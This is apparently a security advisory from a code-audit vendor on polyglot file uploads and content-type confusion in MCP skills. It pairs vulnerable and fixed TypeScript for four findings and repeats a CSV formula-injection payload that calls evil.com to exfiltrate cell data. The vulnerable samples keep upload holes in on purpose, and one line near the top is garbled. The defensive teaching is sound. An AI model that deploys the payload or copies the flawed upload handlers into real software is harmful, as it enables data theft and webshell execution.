Claude MCP skill content-type confusion and polyglot file attacks — SA-SKL-UPLOAD8
Polyglot files are specially crafted uploads that are simultaneously valid in two or more file formats. An image that is also executable PHP, a GIF that contains a ZIP, a PDF that extracts as an archive — polyglots exploit the gap between how a server validates a file's type and how various downstream parsers interpret its contents. MCP skills that accept user file uploads and either serve those files from the same origin, process them with multiple parsers, or export them to end users are exposed to four distinct polyglot and content-type confusion attacks covered by SA-SKL-UPLOAD8.
The gap between upload validation and downstream parsing
Most upload validators check two things: the Content-Type header sent by the client and the first few bytes of the file body (magic bytes). Both checks can be fooled. The Content-Type header is entirely attacker-controlled — a browser or HTTP client can set Content-Type: image/png for any file content. Magic byte checks are more robust but still defeatable: a polyglot file starts with valid magic bytes for the target type but contains malicious content in later bytes that a different parser reads as executable. The correct approach is to fully parse and re-encode the file through its declared parser — not just check headers or first bytes — which strips any appended or interleaved content that the target format does not understand.
Content-Type header only; attacker sets Content-Type: image/png for a PHP file; server stores it with .php extension; file executed on serving.gif but executed by PHP interpreter on servers with GIF execution enabledshell.php; fix: reject files that parse as multiple formats= causes Excel/LibreOffice to execute =HYPERLINK("https://evil.com/"&A1,A1); exfiltrates spreadsheet data to attacker server on file openUPLOAD8-001 — Content-Type header spoof stores PHP file as image
The Content-Type multipart header is part of the HTTP request constructed by the client — it is not derived from the file content and cannot be trusted. A developer who validates only req.file.mimetype (which multer populates directly from the Content-Type part header) is checking an attacker-controlled value. An attacker who uploads a PHP webshell with Content-Type: image/png passes this check. If the server then determines the stored filename extension from the original upload filename (shell.php), or if the original filename is preserved, the stored file has a .php extension and is executed by the PHP interpreter when served over HTTP. The fix is to use a magic-byte library like file-type that reads the actual file content to determine the MIME type, independent of what the client claimed.
// VULNERABLE — MIME type from Content-Type header only; attacker-controlled
import multer from 'multer';
const upload = multer({
fileFilter: (req, file, cb) => {
// VULNERABLE: file.mimetype comes from the Content-Type part header
// Attacker sets Content-Type: image/png for a PHP file
const allowed = ['image/jpeg', 'image/png', 'image/gif'];
if (!allowed.includes(file.mimetype)) {
return cb(new Error('Invalid file type'));
}
cb(null, true);
},
storage: multer.diskStorage({
destination: './uploads/',
// VULNERABLE: original filename preserved — shell.php stored as shell.php
filename: (req, file, cb) => cb(null, file.originalname),
}),
});
app.post('/upload', upload.single('image'), (req, res) => {
res.json({ path: `/uploads/${req.file.filename}` });
});
// FIXED — magic byte detection with file-type library; random filename; web-root exclusion
import multer from 'multer';
import { fileTypeFromBuffer } from 'file-type';
import { randomBytes } from 'crypto';
import path from 'path';
const UPLOAD_DIR = '/data/uploads'; // outside web root — not served directly by HTTP
const upload = multer({
storage: multer.memoryStorage(), // read file into memory for magic byte check
limits: { fileSize: 10 * 1024 * 1024 }, // 10 MB
});
app.post('/upload', upload.single('image'), async (req, res) => {
const buffer = req.file!.buffer;
// Magic byte detection — reads actual file content, not Content-Type header
const detected = await fileTypeFromBuffer(buffer);
const allowed = ['image/jpeg', 'image/png', 'image/gif', 'image/webp'];
if (!detected || !allowed.includes(detected.mime)) {
return res.status(400).json({ error: 'File content is not a supported image format' });
}
// Random filename with extension derived from magic bytes, not original filename
const ext = detected.ext; // 'jpg', 'png', 'gif', 'webp'
const filename = `${randomBytes(16).toString('hex')}.${ext}`;
const storagePath = path.join(UPLOAD_DIR, filename);
await fs.writeFile(storagePath, buffer);
// Serve via a streaming endpoint that sets Content-Type explicitly — not direct file serving
res.json({ fileId: filename });
});
UPLOAD8-002 — GIF89a polyglot bypasses magic byte check
A GIF89a polyglot starts with the valid GIF magic bytes (47 49 46 38 39 61 — the ASCII string GIF89a) followed by a minimal valid GIF structure, then appends PHP code after the first null byte in the image data section. This file passes a magic-byte check that only reads the first 6 bytes. It also passes many image library validity checks that stop reading after they successfully decode the image dimensions from the GIF header. The PHP code embedded after the GIF data is executed by the PHP interpreter when the file is requested from a web server configured to execute PHP in the uploads directory — a configuration that should never exist but is common on shared hosting and misconfigured servers. The correct remediation is to fully transcode the image through sharp or another image pipeline: sharp(buffer).gif().toBuffer() re-encodes the image as a canonical GIF, stripping any trailing content that GIF format does not define.
// VULNERABLE — magic byte check only; GIF89a polyglot passes; PHP code preserved
import { fileTypeFromBuffer } from 'file-type';
async function validateAndStoreImage(buffer: Buffer, filename: string) {
const detected = await fileTypeFromBuffer(buffer);
if (detected?.mime !== 'image/gif') {
throw new Error('Not a GIF image');
}
// Magic bytes pass — but attacker file starts with GIF89a + minimal GIF
// then appends: after null byte in image data
// If this file is stored and served from a PHP-enabled directory,
// requesting it with ?cmd=id executes the PHP payload
await fs.writeFile(`./uploads/${filename}`, buffer);
}
// FIXED — full transcode via sharp strips trailing content after valid image data
import sharp from 'sharp';
import { randomBytes } from 'crypto';
async function validateAndStoreImage(buffer: Buffer) {
let transcoded: Buffer;
try {
// sharp fully decodes then re-encodes the image
// Any content after the valid GIF/PNG/JPEG data is not part of the image
// and is discarded during the decode step
transcoded = await sharp(buffer)
.resize({ width: 4096, height: 4096, fit: 'inside', withoutEnlargement: true })
.gif() // re-encode as canonical GIF
.toBuffer();
} catch (err) {
throw new Error('File could not be decoded as a valid GIF image');
}
// Size sanity check on transcoded output
if (transcoded.length > 5 * 1024 * 1024) {
throw new Error('Transcoded image exceeds 5 MB size limit');
}
const filename = `${randomBytes(16).toString('hex')}.gif`;
const storagePath = `/data/uploads/${filename}`;
// Store OUTSIDE web root — served only via a streaming endpoint that
// sets Content-Type: image/gif explicitly
await fs.writeFile(storagePath, transcoded);
return filename;
}
UPLOAD8-003 — PDF/ZIP polyglot triggers unintended zip extraction
A PDF/ZIP polyglot is a file that is simultaneously a valid PDF (which begins with %PDF-) and a valid ZIP archive (which has a central directory at the end of the file, allowing ZIP parsers to locate entries regardless of the file header). An MCP skill that accepts PDF uploads for text extraction may also have a separate code path that accepts ZIP archives containing multiple files. If the same file object is passed through both the PDF parser and the ZIP parser — either explicitly or through shared storage — the ZIP parser successfully extracts its entries. If the attacker crafted the ZIP portion to contain shell.php or malicious scripts, those entries are extracted to the filesystem despite the file being accepted as a PDF. The fix is to validate that a file parses as exactly one format: run both parsers and reject if the file is accepted by more than one.
// VULNERABLE — file accepted as PDF; also valid ZIP; second parser extracts entries
import pdfParse from 'pdf-parse';
import JSZip from 'jszip';
async function processUploadedFile(buffer: Buffer, mimeType: string) {
if (mimeType === 'application/pdf') {
const pdfData = await pdfParse(buffer);
// Extracted text from PDF...
return { type: 'pdf', text: pdfData.text };
}
if (mimeType === 'application/zip') {
const zip = await JSZip.loadAsync(buffer);
// VULNERABLE: attacker uploads PDF/ZIP polyglot as application/pdf
// This branch never runs for the polyglot — but storage code
// may later attempt zip extraction on all files in the uploads directory,
// triggering extraction of shell.php from the polyglot ZIP portion
const files = Object.keys(zip.files);
return { type: 'zip', files };
}
}
// FIXED — dual-parser check; reject files accepted by multiple formats
import pdfParse from 'pdf-parse';
import JSZip from 'jszip';
import { fileTypeFromBuffer } from 'file-type';
async function isValidPdfOnly(buffer: Buffer): Promise {
// Check 1: magic bytes say PDF
const detected = await fileTypeFromBuffer(buffer);
if (detected?.mime !== 'application/pdf') return false;
// Check 2: file also parses as ZIP — polyglot indicator
try {
await JSZip.loadAsync(buffer);
// If we reach here, the file is also a valid ZIP — reject it
return false;
} catch {
// Expected: a real PDF should not parse as ZIP
}
// Check 3: fully parse as PDF to confirm it is a valid document
try {
await pdfParse(buffer);
return true;
} catch {
return false;
}
}
async function processUploadedFile(buffer: Buffer) {
if (!await isValidPdfOnly(buffer)) {
throw new Error('File is not a valid PDF, or matches multiple file formats');
}
const pdfData = await pdfParse(buffer);
return { type: 'pdf', text: pdfData.text };
}
UPLOAD8-004 — CSV formula injection exfiltrates data via Excel HYPERLINK
When an MCP skill generates or accepts CSV files and those files are subsequently opened in Microsoft Excel, LibreOffice Calc, or Google Sheets, any cell value that begins with =, +, -, or @ is interpreted as a formula. An attacker who can influence CSV output — by controlling a username, company name, or any string field that ends up in an exported CSV — can inject =HYPERLINK("https://evil.com/"&A1,A1) as their display name. When a user opens the exported CSV in Excel or LibreOffice, clicking the hyperlink cell fires an HTTP request to https://evil.com/ with the value of cell A1 appended, exfiltrating spreadsheet contents to the attacker's server. The fix is to escape cell values that begin with formula trigger characters by prepending a tab character or single quote — both of which suppress formula interpretation in all major spreadsheet applications.
// VULNERABLE — CSV export does not escape formula injection characters
function exportUsersAsCsv(users: User[]): string {
const header = 'id,name,email,plan\n';
const rows = users.map(u =>
// VULNERABLE: u.name is user-controlled input
// attacker sets name = '=HYPERLINK("https://evil.com/"&A1,A1)'
// when this CSV is opened in Excel, formula fires and exfiltrates data
[u.id, u.name, u.email, u.plan].join(',')
);
return header + rows.join('\n');
}
// FIXED — escape formula trigger characters in all string cells
function escapeCsvCell(value: string | number | null): string {
if (value === null || value === undefined) return '';
const str = String(value);
// Escape formula injection: cells starting with = + - @ are interpreted as formulas
// by Excel, LibreOffice, and Google Sheets
// Prefix with a tab character — suppresses formula interpretation in all three
// (alternative: prefix with single quote ' — works in LibreOffice and Google Sheets
// but Excel may preserve the quote as a literal character in some versions)
if (str.startsWith('=') || str.startsWith('+') ||
str.startsWith('-') || str.startsWith('@')) {
return `\t${str}`;
}
// Also wrap in double quotes and escape embedded quotes for RFC 4180 compliance
if (str.includes(',') || str.includes('"') || str.includes('\n')) {
return `"${str.replace(/"/g, '""')}"`;
}
return str;
}
function exportUsersAsCsv(users: User[]): string {
const header = 'id,name,email,plan\n';
const rows = users.map(u =>
[u.id, u.name, u.email, u.plan].map(escapeCsvCell).join(',')
);
return header + rows.join('\n');
}
// Set Content-Disposition and Content-Type when serving the file
// Content-Type: text/csv; charset=utf-8 — prevents browser execution
// Content-Disposition: attachment; filename="export.csv" — forces download
Detection with SkillAudit
SkillAudit's SA-SKL-UPLOAD8 rule set detects polyglot and content-type confusion vulnerabilities through static analysis of file upload handlers and CSV generation code. The Content-Type check flags req.file.mimetype comparisons without a subsequent fileTypeFromBuffer() or mmmagic magic-byte call. The polyglot check identifies PDF processing code where the same buffer variable also flows into a ZIP extraction call without an intervening format exclusion check. The CSV injection check flags string concatenation into CSV rows where any field has a taint source from user-controlled input without a formula-trigger prefix check. See also SA-SKL-UPLOAD7 for ZIP archive extraction path traversal patterns and SA-SKL-UPLOAD6 for SVG and XML entity injection in uploaded files.
Run SA-SKL-UPLOAD8 on your skill: Paste your MCP skill's GitHub URL at skillaudit.dev to get a full scan. The free tier covers public repositories and returns a shareable security badge.
| Finding | Severity | Vulnerable pattern | Fix |
|---|---|---|---|
UPLOAD8-001 | Critical | MIME check from Content-Type header; attacker sets image/png for PHP file; stored as .php; executed on request | fileTypeFromBuffer(buffer) for magic-byte MIME detection; random filename with extension from magic bytes; store outside web root |
UPLOAD8-002 | Critical | GIF89a polyglot passes magic byte check; PHP code after null byte; executed on PHP-enabled servers | Full transcode via sharp(buffer).gif().toBuffer(); re-encoded image discards trailing content outside GIF data |
UPLOAD8-003 | High | PDF/ZIP polyglot: PDF magic check passes; ZIP extraction handler opens same file; shell.php entry extracted | Dual-parser check: attempt ZIP parse on PDF buffer; reject if file parses as both formats |
UPLOAD8-004 | High | CSV export with user-controlled string cells; =HYPERLINK() formula injects; fires on spreadsheet open to exfiltrate data | Prefix cells starting with = + - @ with tab character; Content-Disposition: attachment on download |